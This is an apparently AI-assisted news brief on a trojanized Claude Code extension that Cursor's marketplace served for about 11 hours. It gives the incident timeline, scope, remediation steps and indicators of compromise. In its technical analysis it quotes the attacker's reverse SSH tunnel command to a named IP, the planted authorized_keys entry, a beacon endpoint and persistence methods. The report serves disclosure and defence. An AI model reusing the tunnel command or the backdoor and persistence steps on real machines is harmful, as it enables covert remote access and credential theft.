CodingSoftware & developer tools
Trojanized build of Anthropic's Claude Code extension sat on Cursor's marketplace for about 11 hours
Someone published a trojanized build of Anthropic's official Claude Code extension under Anthropic's real account on Cursor's marketplace. It stayed up for about 11 hours on 29 October, reached developer machines through auto-update and tried to plant a persistent SSH backdoor before Cursor removed it.
From the Ars Technica · AI article of October 30, 2026 and cited sources: From about 09:27 to 20:35 UTC on 29 October, Cursor's marketplace served anthropic.claude-code 2.1.313 under Anthropic's publisher identity. [2] [3] [6] [1]
SOURCES[2] Cursor: Claude Code extension security notice cursor.com[3] StepSecurity: Trojanized Claude Code Extension stepsecurity.io[6] OpenSourceMalware: Trojanized Claude Code extension plants… opensourcemalware.com
AT Pulse research deskPublished · Updated · 5 min read · AI-assisted analysisAI-assisted, not human-edited. Methodology Corrections Who owns this site
- What happened
- From about 09:27 to 20:35 UTC on 29 October, Cursor's marketplace served anthropic.claude-code 2.1.313 under Anthropic's publisher identity. [2] [3] [6] [1]
- Original source
- Ars Technica · AI article, independent perspective
- Brief by
- AT Pulse research desk AI-assisted; publisher and contact on the desk page
- When
- October 30, 2026 article published
- Covered
- Oct 31 edition
- Evidence
- 7 sources across 7 sites
- 1Ars Technica: Anthropic VS Code extension on Cursor…arstechnica.com
- 2Cursor: Claude Code extension security noticecursor.com
- 3StepSecurity: Trojanized Claude Code Extensionstepsecurity.io
- 4Help Net Security: Claude Code extension poisoned with SSH…helpnetsecurity.com
- 5The Hacker News: Official Claude Code extension trojanizedthehackernews.com
- 6OpenSourceMalware: Trojanized Claude Code extension plants…opensourcemalware.com
Reach: not measured yet
From about 09:27 to 20:35 UTC on 29 October, Cursor's marketplace served anthropic.claude-code 2.1.313 under Anthropic's publisher identity. Cursor later said 2.1.312 was malicious too. Because auto-update is on by default, many users got it without doing anything. Cursor says no more than 5,000 users installed it, but that count comes only from Cursor. Open VSX, Microsoft's marketplace and the npm package were not affected, and version 2.1.314 is clean. [2] [3] [6] [1]
The attacker added a short loader to the top of extension.js, so it ran as soon as the extension loaded. It added an SSH key labelled svc-telemetry, tried to open a reverse SSH tunnel to the attacker's server, sent host details and environment-variable names back, and set itself up to survive restarts. StepSecurity, OpenSourceMalware and Phorion each analyzed the code, and their findings match Cursor's. The tunnel often failed because turning on SSH needed admin rights, but the persistence and reporting home still worked. [3] [6] [1] [5]
VS Code forks like Cursor run their own extension marketplaces, so a publisher account there is a separate point of trust from the same account on Microsoft's marketplace or Open VSX. An earlier Cursor flaw let any installed extension read stored keys, which makes a compromise like this worse. Cursor advises anyone affected to check for its listed signs of compromise, isolate the machine, and rotate every credential it held, working from a clean system. [2] [3] [7]
What happened: one bad publish on a fork's marketplace reached developer machines automatically, with the same access as the IDE.
Read the full assessment
What it means: teams using AI coding tools should track each marketplace separately and weigh pinning extension versions against the convenience of auto-update.
Executive brief
For about 11 hours on 29 October 2026, Cursor's extension marketplace served a trojanized build of Anthropic's official Claude Code extension (anthropic.claude-code 2.1.313) under Anthropic's real publisher identity. Cursor says at most 5,000 users installed it. Cursor extensions auto-update by default, so many developers could have received it without doing anything. The payload collected host details and tried to plant a persistent SSH backdoor. Bugs in the code often stopped the backdoor from working. Neither company has said publicly how the attacker got publishing access. Anthropic says its own systems were not breached.
What changed and event timeline
20:26 UTC: Clean 2.1.312 on Open VSX
A legitimate 2.1.312 appears on Open VSX. This is the baseline the malicious release later replaced in Cursor's marketplace ().
~09:27 UTC (2:27 a.m. PT): Malicious 2.1.313 published
The trojanized build goes live in Cursor's marketplace under Anthropic's official account and replaces 2.1.312 for users with auto-update on (;).
20:35 UTC (1:35 p.m. PT): Distribution stopped
Cursor pulls the build, has the attacker's server taken offline, and shuts its marketplace to rotate keys and audit access before reopening ().
01:07 UTC: Clean 2.1.314 released
Anthropic publishes the fixed version to Open VSX and Microsoft's marketplace ().
11:30 a.m. PT: Scope widened
Cursor updates its notice to name both 2.1.312 and 2.1.313 as malicious builds on its marketplace, for Windows and macOS, and adds indicators of compromise (IOCs) ().
Capabilities and access
- Affected:
anthropic.claude-code2.1.313, and per Cursor's later update also 2.1.312, installed from Cursor's marketplace (Cursor). - Not affected: the npm package, Open VSX and Microsoft's VS Code Marketplace (OpenSourceMalware).
- Access level: the extension ran with the IDE's permissions, so it could reach local files, source code and developer tooling (Ars Technica).
Read the full section
- Affected:
anthropic.claude-code2.1.313, and per Cursor's later update also 2.1.312, installed from Cursor's marketplace (Cursor). - Not affected: the npm package, Open VSX and Microsoft's VS Code Marketplace (OpenSourceMalware).
- Access level: the extension ran with the IDE's permissions, so it could reach local files, source code and developer tooling (Ars Technica).
- Fixed version: 2.1.314.
Technical analysis for researchers and developers
- How it ran: a 66-line loader was added to the front of
extension.js. - Backdoor: it added an Ed25519 key labelled
svc-telemetrytoauthorized_keys, then opened a reverse tunnel withssh -N -R '*:0:localhost:22'to 134.209.82.225. - Reporting home: it sent host details by HTTP POST to
:8099/beaconand retried the tunnel roughly every 60 seconds.
Read the full section
- How it ran: a 66-line loader was added to the front of
extension.js. It ran as soon as the module loaded, with no VS Code API calls or Claude interaction needed (StepSecurity; OpenSourceMalware). - Backdoor: it added an Ed25519 key labelled
svc-telemetrytoauthorized_keys, then opened a reverse tunnel withssh -N -R '*:0:localhost:22'to 134.209.82.225. - Reporting home: it sent host details by HTTP POST to
:8099/beaconand retried the tunnel roughly every 60 seconds. - Persistence: LaunchAgent on macOS, scheduled task on Windows and, per researchers, cron on Linux.
- Detection: look for
anthropic.claude-code-2.1.312-or-2.1.313-directories, and searchextension.jsfor the IP address andsvc-telemetry(StepSecurity).
Claims and evidence
- Affected users ("at most 5,000"): reported by Cursor only. No independent count exists (Cursor).
- Not Anthropic-developed: Cursor states that Anthropic did not write the malicious builds. The root cause has not been disclosed.
- Payload behaviour: independently confirmed by OpenSourceMalware, StepSecurity and Phorion, whose analyses match Cursor's description.
Read the full section
- Affected users ("at most 5,000"): reported by Cursor only. No independent count exists (Cursor).
- Not Anthropic-developed: Cursor states that Anthropic did not write the malicious builds. Anthropic's Felix Rieseberg says Anthropic's systems and employee laptops were not compromised (StepSecurity). The root cause has not been disclosed.
- Payload behaviour: independently confirmed by OpenSourceMalware, StepSecurity and Phorion, whose analyses match Cursor's description.
- Credential targeting: Phorion says collecting environment-variable names let the operator see which cloud credentials and API tokens a machine held, and pick targets for follow-up attacks (Ars Technica).
Context and prior work
- Separate marketplace: VS Code forks such as Cursor run their own extension marketplaces.
- Earlier Cursor issue: a previously reported Cursor flaw let any installed extension read stored API keys and session tokens (VPNCentral).
- Auto-update: auto-update on by default turned a single bad publish into silent installs across the user base.
Read the full section
- Separate marketplace: VS Code forks such as Cursor run their own extension marketplaces. A publisher account on one of them is a separate trust point from Microsoft's marketplace and Open VSX.
- Earlier Cursor issue: a previously reported Cursor flaw let any installed extension read stored API keys and session tokens (VPNCentral). That makes any extension compromise in Cursor more serious.
- Auto-update: auto-update on by default turned a single bad publish into silent installs across the user base.
Limitations, safety and contested findings
- Did the backdoor work? Machines that already had SSH enabled were still exposed (Cursor via The Hacker News).
- Which channel? Help Net Security placed the malicious build on Open VSX and mentioned Windsurf users. Cursor, StepSecurity and OpenSourceMalware say only Cursor's marketplace was affected.
- Researchers also describe Linux code.
Read the full section
- Did the backdoor work? Enabling the SSH service usually needed admin rights, so on most machines that step failed. Machines that already had SSH enabled were still exposed (Cursor via The Hacker News). Phorion says it is still a serious threat because persistence and reporting home still worked.
- Which channel? Help Net Security placed the malicious build on Open VSX and mentioned Windsurf users. Cursor, StepSecurity and OpenSourceMalware say only Cursor's marketplace was affected.
- Which platforms? Cursor names Windows and macOS. Researchers also describe Linux code.
- Anthropic's response: Ars Technica reports Anthropic had not issued a public customer notice. Rieseberg's statement exists but is not a formal advisory.
Business and practitioner implications
- Check exposure: anyone who installed or updated the extension from Cursor between 09:27 and 20:35 UTC on 29 October should check
authorized_keys, LaunchAgents, scheduled tasks, cron and temp.stk_*files. - If affected: isolate the machine, then rotate every credential that was present in its environment, working from a clean system (Cursor).
- Fleet controls: decide whether to pin extension versions or turn off auto-update, and keep inventories that track each marketplace separately.
Read the full section
- Check exposure: anyone who installed or updated the extension from Cursor between 09:27 and 20:35 UTC on 29 October should check
authorized_keys, LaunchAgents, scheduled tasks, cron and temp.stk_*files. - If affected: isolate the machine, then rotate every credential that was present in its environment, working from a clean system (Cursor).
- Fleet controls: decide whether to pin extension versions or turn off auto-update, and keep inventories that track each marketplace separately.
- Vendor accountability: when an AI-tool vendor's extension is distributed through someone else's marketplace, ask both parties who controls the publishing credentials and who is responsible for notifying customers.